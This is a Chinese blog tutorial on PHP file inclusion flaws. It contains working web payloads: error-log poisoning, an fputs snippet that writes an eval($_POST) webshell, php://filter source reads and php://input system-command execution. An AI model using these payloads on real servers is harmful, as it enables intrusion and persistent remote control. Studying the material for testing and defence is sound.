zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    1.什么是文件包含漏洞?

          文件包含漏洞:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件。

          出现原因:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。

    2.PHP文件包含的几个函数:

      include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

      include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

      require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

      require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

      Require和include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。

    3.文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含

    4.本地包含:

        案例:

          1.编写一个php文件与一个txt文件

            

            

            把他们同时放在一个文件下,这里以  phpstudy为例  放在WWW/下

          

           2.打开浏览器,进行本地包含测试

              

          3.包含成功,显示(2.txt)中文件。接下来扩展可以上传一句话木马。那shell权限。

          4.包含一个百度:

              

        5.目标机器本地包含:

              

    5.远程包含

        案例:

          

        1.能访问目标主机

        2.对面开启远程包含:

            phpstudy 为例: 其他选项菜单->PHP扩展及设置->参数开关设置->allow_url_include(在最下面)

    6.利用错误日志获取shell

          phpstudy 为例:当访问错误时会被存放到错误日志当中,借助错误日志插入一句话木马。

          phpstudy 日志位置:/phpstudy/apache/logs/error.log

          利用burp 抓包修改错误信息:

              

          修改之后在错误日志中可以看到,或者使用文件包含查看

            

      

          然后使用菜刀连接即可。

              以下实验均是使用phpstudy为例,有文件包含漏洞为前提。

     7.使用包含漏洞直接向对方写一个shell

         (1).在自己网站目录下写一个php文件,内容如下:

              <?php

              fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
              ?>

          fputs函数 :fputs() 函数将内容写入一个打开的文件中。(可安全用于二进制文件)。如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。

          fopen 函数:当使用 fopen() 函数打开一个文件时,如果文件不存在,则会尝试创建该文件,并返回一个资源。

          'w'   :: 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

          <?php eval($_POST[1]);?> :为一句话木马,使用POST方法,[1]为参数,用于菜刀连接的密码也是。

          (2).因为有文件包含漏洞,可以把这样一个文件直接写入进去。

              

          (3).如上图所示,使用包含漏洞把本地的一个文件写入进去了。接下来测试能否访问

                

            把phpinfo页面显示 赋值给参数1,可发现可以访问。接下来就可以直接菜刀获取shell。

            注释:个人实验证明,对目标主机采用时,需要把最开始的10.3.0.24换成目标ip,不过需要目标主机目录下存放一个上述的php文件,然后才可以本地调用。

    8.使用文件包含漏洞直接读取文件内容

            案例:

              代码:127.0.0.1:8024/1.php?page=php://filter/read=convert.base64-encode/resource=1.php

                 resource=<要过滤的数据流> :指定了你要筛选过滤的数据流

                 read = <读链的筛选列表>    : 可以设定一个或多个过滤名称,以管道符 | 分隔   

              

              使用base64去访问文件内容。使用base64解码即可。可看我python中的加密解密那个博客哦。

              为啥要用base64:

                base64此编码方式可以让中文字或者图片也能在网路上顺利传输。在 BASE64 编码后的字串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字元,不包含其它特殊的字元,因而才取名 BASE64。编码后的字串比原来的字串 长度再加 1/3 左右。 此外应该还有一个 ROT 13 可以使用。

    9.使用文件包含漏洞直接使用系统命令

            案例:

              代码:127.0.0.1:8024/1.php?page=php://input     <?php system('ipconfig')?>  注释:使用POST方法

              

              因为可以使用系统命令,所有就可以使用系统命令在本地创建一个shell文件,然后使用菜刀去连接。

              代码:127.0.0.1:8024/1.php?page=php://input                              使用POST方法

                    <?php

              fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
                    ?>

    10.使用文件包含漏洞直接查看文件内容

            案例:

                代码:127.0.0.1:8024/1.php?page=file://D:/phpstudy/www/2.txt        (D:/phpstudy/www/2.txt )文件路径

                

              

  • 相关阅读:
    UGUI优化干货总结
    C#合成解析XML与JSON
    镜头跟随玩家移动
    Unity 5 Skybox 旋转
    多线程实现资源下载
    自定义配置文件的使用及加载-txt
    linux下mysql主从复制搭建
    常用模块-正则re
    Elasticsearch分布式搜索
    redis主从复制原理与优化-高可用
  • 原文地址:https://www.cnblogs.com/pangya/p/8927145.html
Copyright © 2011-2022 走看看